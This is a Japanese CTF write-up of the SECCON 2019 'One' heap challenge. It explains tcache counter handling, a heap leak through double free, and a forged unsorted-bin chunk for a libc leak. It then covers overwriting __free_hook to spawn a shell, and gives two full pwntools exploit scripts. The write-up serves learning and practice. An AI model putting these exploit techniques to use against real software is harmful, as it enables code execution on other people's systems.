---
tags: pwn
---
# SECCON CTF 2019 Quals - One
これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU
## 公式リポジトリ
<https://github.com/SECCON/SECCON2019_online_CTF>
## Writeup
### Outline
Create+Edit, delete, showが出来るいつものHeap問題、但しchecksec系の機構は全部有効。
加えて固定サイズのmallocなのでtcache poisoningを下手にやるとtcacheのカウンタが負になってしまいこれ以上tcacheを利用できなくなる。
更に管理できるポインタも1つしか無いの次に確保するポインタを上手くコントロールする必要がある。
Double Free直後のshowでHeap領域のアドレスが判明する。そして特にtcacheに在庫が無ければ(ヌルポインタにすれば)その下からmallocが行われるので以降のmallocで確保される領域のアドレスは判明する。
ここにfastbinに入らない程度に大きい偽装チャンクを作り、Double Freeで次に確保するチャンクをそこへと設定し7回freeさせてそのサイズのtcacheを満杯にさせる。
すると次のfreeでUnsorted Binに送り込まれるのでUAFでlibc leakが出来、あとは`__free_hook`を書き換えてシェルを起動する。
### Binary
```
$ checksec one
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```
フル装備、Unsorted Bin経由のlibc leakと`__free_hook`の書き換えということは予想が付く。
バイナリの処理自体に特筆すべき点は無い(のでGhidraのデコンパイル結果は省略する)。いつもどおり`create+edit`, `show`, `delete`が出来て対象のポインタはグローバル変数で管理している。
### tcacheの使用回数
さてこの問題が今まで解いてきた問題と違って面倒くさいのはサイズ固定(0x40)のmallocということである。ということは普通にしていれば0x50(`malloc(0x40)`した際のチャンクサイズは0x50になる)のチャンクを管理するtcacheしか使われない。
ここで問題になるのが今までDouble Freeを利用したアドレス書き換えで今までやってきた動きをするとtcacheのカウントが負数になってしまう。
tcacheはそこに幾つチャンクが繋がっているかを数えるカウンタがある。次の例でこのカウンタがどうなるかを見てみる
1. `malloc(0x40)` -> `free(p)` -> `free(p)`
```
~~ tcache(0x50), count: 2 ~~
p -> p -> ...
```
いつものようにDouble Freeをする。最初のmallocではtcacheから取っている訳ではないので特にカウンタに影響は無い。その後2回のfreeをするのでサイズ0x50のtcacheは2つチャンクが繋がれたと判定しカウンタが2増える
2. `malloc(0x40)` -> `edit(x)`
```
~~ tcache(0x50), count: 1 ~~
p -> x
```
mallocして値を書き込む。この際、tcacheから領域を確保したのでcountは1減る。
3. `malloc(0x40)`
```
~~ tcache(0x50), count: 0 ~~
x
```
mallocする。カウンタは0
4. `malloc(0x40)` -> `edit(y)`
```
~~ tcache(0x50), count: -1(?) ~~
```
mallocして編集する、`*x = y`になったのは良いがカウンタがマイナスになる。おそらくmalloc時にはtcacheのトップにチャンクが繋がっているかだけを見ておりカウンタが0でも繋がっていればここから確保される、free時はカウンタを見てtcacheに繋ぐかどうかを決めていると思われる。
カウンタが-1になると非負整数で管理している都合上、負の方向へのオーバーフローを起こして非常に大きな値になってしまう。すると7つまでしか管理できないtcacheとしてはこれ以上入らない扱いとなり、以後サイズが0x50のチャンクをfreeしてもtcacheに繋がれない。したがって同じサイズを使って連続したtcache poisoningをするのには少し工夫が必要になる。
といってもそんな難しいことはなく、2回より大きい回数freeしてカウンタが0以上であることを保てば良い。
下記Exploit中で序盤に6回もfreeしているのはそれが理由である(流石に過剰だが念にはね念を)。
実はこの問題のWriteupを読んでいて気になった最初のポイントがここで、なんでDouble Freeするだけなのに3回以上freeしているんだろうと思っていた。
### Heap領域のリーク
この問題、show機能はあるのだが、PIEが有効なのでtcache poisoningで任意アドレスを書き換えようとしても最初は何も出来ない。よってアドレスをリークさせたいのだがmallocできるサイズが0x40で固定なのでUnsorted Binに送ることも出来ない、マジかよ。
Double FreeとUAFが出来るのでtcacheを`p -> p -> ...`のように巡回させてshowすればひとまずHeap領域のアドレスは判明する。
これの上手い利用方法だが、tcacheや各種binが空なら、次にmallocされる領域がおそらくこの真下であることからこれ以降確保される領域のアドレスを特定することが出来る。よってこの辺りに偽チャンクをアドレスが分かっている状態で作ることが出来る。
### tcacheを空にする
と、その前にサイズ0x50のtcacheをヌルポインタに繋いでtcacheに何も無い状態にする。Heap leakの際にDouble FreeとUAF(read)を行っているので次のようなtcacheになっている。
```
~~ tcache ~~
p -> p -> ...
```
ここでcreate+edit(0)を行うと次のようになる
```
~~ tcache ~~
p -> 0
```
更にここでcreateを行えばtcacheが空になる。こうして次に`malloc(0x40)`が呼ばれてもサイズ0x50のtcacheからチャンクが確保されることは無い
### 偽装チャンクを作る
というわけで偽装チャンクを作る。今回作るのはサイズ0x90のチャンクである。もちろんUnsorted Binに送り込みたいので下と更にその下にもチャンクを作って無事にUnsorted Binへ繋がるようにする。
ちなみに0x90にしたのはfastbinに送り込まれないこととPREV_INUSEが立ったチャンクを作る際に通常のmallocで生成されるチャンクが利用できて簡単だからである。
heap leak以降のmalloc, freeはtcacheを介していたのでおそらくmain_arenaのtopは変わっていない、したがってリークしたアドレスに対応するチャンクの真下からメモリ確保が行われる。ここで何度かmallocを行った様子が次のようになる(1行で0x10バイトであり、パイプ(`|`)で区切っているのは0x8バイト単位で右側が高位である、またチャンクの区切りを`-`列で表している)。
```
leak - 0x10 -> | | 0x51 |
-----------------------------------
leak -> | | | # leakしたチャンク
leak + 0x10 -> | | |
leak + 0x20 -> | | |
leak + 0x30 -> | | |
leak + 0x40 -> | | 0x51 |
-----------------------------------
leak + 0x50 -> | | | # 次のmallocで確保されたチャンク
leak + 0x60 -> | | |
leak + 0x70 -> | | |
leak + 0x80 -> | | |
leak + 0x90 -> | | 0x51 |
-----------------------------------
leak + 0xa0 -> | | | # 2つ目
leak + 0xb0 -> | | |
leak + 0xc0 -> | | |
leak + 0xd0 -> | | |
leak + 0xe0 -> | | 0x51 |
-----------------------------------
leak + 0xf0 -> | | | # 3つ目
leak + 0x100 -> | | |
leak + 0x110 -> | | |
leak + 0x120 -> | | |
leak + 0x130 -> | | 0x51 |
-----------------------------------
leak + 0x140 -> | | | # 4つ目
leak + 0x150 -> | | |
leak + 0x160 -> | | |
leak + 0x170 -> | | |
leak + 0x180 -> | | 0x51 |
-----------------------------------
leak + 0x190 -> | | | # 5つ目
...
```
これを見るとleakの値が既に分かっており、malloc時に値を書き込むのでどこに何を書き込まれたかがわかる。0x90のチャンクを作るにはサイズヘッダ部分と合わせて`0x100`バイトが最低でも必要である。となると真っ先に候補に上がるのが`leak + 0x60 ~ leak + 0xef`の部分である(サイズヘッダは`leak + 0x50 ~ leak + 0x4f`)。
また、ここに上手くチャンクを作れた場合、2回mallocすると真下に勝手にPREV_INUSEフラグが立った領域が確保される、嬉しい。
というわけで次のようなメモリになるようにcreate + editを行う。
```
leak - 0x10 -> | | 0x51 |
/////////////////////////////////// # mallocによるチャンク境界
leak -> | | | # leakしたチャンク
leak + 0x10 -> | | |
leak + 0x20 -> | | |
leak + 0x30 -> | | |
leak + 0x40 -> | | 0x51 |
/////////////////////////////////// # mallocによるチャンク境界
leak + 0x50 -> | | 0x91 | # サイズヘッダ
-----------------------------------
leak + 0x60 -> | | | # 偽装チャンク開始
leak + 0x70 -> | | |
leak + 0x80 -> | | |
leak + 0x90 -> | | 0x51 |
/////////////////////////////////// # mallocによるチャンク境界
leak + 0xa0 -> | | |
leak + 0xb0 -> | | |
leak + 0xc0 -> | | |
leak + 0xd0 -> | | |
leak + 0xe0 -> | | 0x51 | # 偽装チャンク終端
-----------------------------------
/////////////////////////////////// # mallocによるチャンク境界(偽装チャンク境界と一致)
```
Exploitコード中では面倒なのでサイズヘッダ部分を連打しているだけだがサイズヘッダが無事に出来てしまえば特に問題はない。
### tcacheを満杯にさせる
無事にチャンクが出来たのでここをfreeしたい、というわけで[HSCTF 6 - Aria Writer v3](/cWZap97rRoySNQIVhKluXw)同様にtcache poisoningで次に確保される領域がここを指すようにする(`p -> p -> ...`から`p -> leak + 0x60`にして2回mallocする)。そしてfreeすれば無事にUnsorted Binに格納され...ない。これは当然でtcacheはサイズ0x420未満のチャンクなら該当サイズのtcacheが空いている限り放り込む。
tcacheに繋ぐことが出来るチャンクは7つまでであり、この判定はカウンタによって行われる。ということは実際に繋がっているかどうかはともかく7回freeをしてカウンタを増やしてしまえば以後tcacheには繋がれなくなる。
そして8回目のfree時にもうtcacheには入らない上にfastbinに入るサイズでも無いのでUnsorted Bin送りになる、長かった。
### いつもの
というわけでこれまでのWriteup同様`main_arena.top`に対応するアドレスを読んで、オフセットを引いてlibc leakし、後はいつものtcache poisoningで`__free_hook`を`system`に書き換えてシェルを起動する。
## Code
```python
from pwn import process, ELF, p64, u64
def _select(s, sel, c=b"> "):
s.recvuntil(c)
s.sendline(sel)
def add(s, data=b"junk"):
_select(s, b"1")
s.recvuntil(b"Input memo > ")
s.sendline(data)
def show(s):
_select(s, b"2")
return s.recvline().rstrip()
def delete(s):
_select(s, b"3")
if __name__ == '__main__':
"""
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
"""
s = process("./one", env={"LD_PRELOAD": "./libc-2.27.so"})
elf = ELF("./one")
libc = ELF("./libc-2.27.so")
arena_libc = 0x3ebc40
free_hook_libc = libc.symbols["__free_hook"]
system_libc = libc.symbols["system"]
# heap leak
add(s)
for _ in range(6):
delete(s)
heap_addr = u64(show(s).ljust(8, b"\x00"))
print(hex(heap_addr))
add(s, p64(0)) # tcache(0x50): A -> null
add(s) # tcache(0x50) is empty
# making fake chunk
fake_chunk = heap_addr + 0x60
for _ in range(4):
add(s, (p64(0) + p64(0x91)) * 3)
delete(s)
delete(s)
add(s, p64(fake_chunk))
add(s)
add(s) # p -> faka_chunk
for _ in range(8):
delete(s) # fake_chunk is send to unsorted bin
libc_base = u64(show(s).ljust(8, b"\x00")) - arena_libc - 0x60
print(hex(libc_base))
# write to __free_hook
add(s)
delete(s)
delete(s)
add(s, p64(libc_base + free_hook_libc))
add(s)
add(s, p64(libc_base + system_libc))
add(s, "/bin/sh\x00")
delete(s)
s.interactive()
```
## Flag
ローカルでシェル取っただけなので無いです
## 参考Writeup
* [faithさんのwriteup](https://faraz.faith/2019-10-20-secconctf-2019-one/): 1番参考にしたwriteup、7回のfreeでtcacheを満杯にさせてからUnsorted Binに送っている
* [smallkirbyさんのwriteup](https://smallkirby.hatenablog.com/entry/2019/10/20/152309#3-One): デカいチャンクをUnsorted Binに送る
## 感想
長かった、チャレンジ開始2日目ぐらいのお題にしようと思ったが、Writeupを読んでもfreeを連発していたり、呼吸をするように偽装チャンクを生成したりしていて意味がわからず1時間を無にして泣きそうになっていた。問題をこなしていくにつれて読める範囲が広がっていきとうとう解くことが出来た、嬉しい。
実は0x420バイト以上の大きい偽装チャンクをfreeした際のUnsorted Bin経由のlibc leakを最初試したが、libc leakまで出来たところで最後の`__free_hook`書き換えのtcache poisoningに失敗したので(これを利用した攻撃は可能で私のコードかチャンクの構成法が悪い)その原因を暇があったら探りたい
## 追記
チャンクのサイズを上手く設定してtcacheを空にしてからチャンク生成をしたらクソデカいサイズのチャンクを一発でUnsorted Binに送る方法でもなんか上手く通りました
```python
from pwn import process, ELF, p64, u64
def _select(s, sel, c=b"> "):
s.recvuntil(c)
s.sendline(sel)
def add(s, data=b"junk"):
_select(s, b"1")
s.recvuntil(b"Input memo > ")
s.sendline(data)
def show(s):
_select(s, b"2")
return s.recvline().rstrip()
def delete(s):
_select(s, b"3")
if __name__ == '__main__':
"""
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
"""
s = process("./one", env={"LD_PRELOAD": "./libc-2.27.so"})
elf = ELF("./one")
libc = ELF("./libc-2.27.so")
arena_libc = 0x3ebc40
free_hook_libc = libc.symbols["__free_hook"]
system_libc = libc.symbols["system"]
# heap leak
add(s, p64(0) + p64(0x91))
for _ in range(6):
delete(s)
heap_addr = u64(show(s).ljust(8, b"\x00"))
print(hex(heap_addr))
add(s, p64(0)) # tcache(0x50): A -> null
add(s) # tcache(0x50) is empty
# making fake chunk
fake_chunk = heap_addr + 0x60
# calculating size of large chunk
min_size = 0x420
c = 0
header_size = 0x40
sub_chunk_size = 0x50
large_chunk_size = 0
while large_chunk_size < min_size:
large_chunk_size = c * sub_chunk_size + header_size
c += 1
print("[+] needed count of free:", c)
print("[+] large chunk size:", large_chunk_size)
for _ in range(c + 2):
add(s, (p64(0) + p64(large_chunk_size + 1)) * 3)
delete(s)
delete(s)
add(s, p64(fake_chunk))
add(s)
add(s) # p -> faka_chunk
delete(s) # fake_chunk is send to unsorted bin
libc_base = u64(show(s).ljust(8, b"\x00")) - arena_libc - 0x60
print(hex(libc_base))
# write to __free_hook
add(s)
delete(s)
delete(s)
add(s, p64(libc_base + free_hook_libc))
add(s)
add(s, p64(libc_base + system_libc))
add(s, "/bin/sh\x00")
delete(s)
s.interactive()
```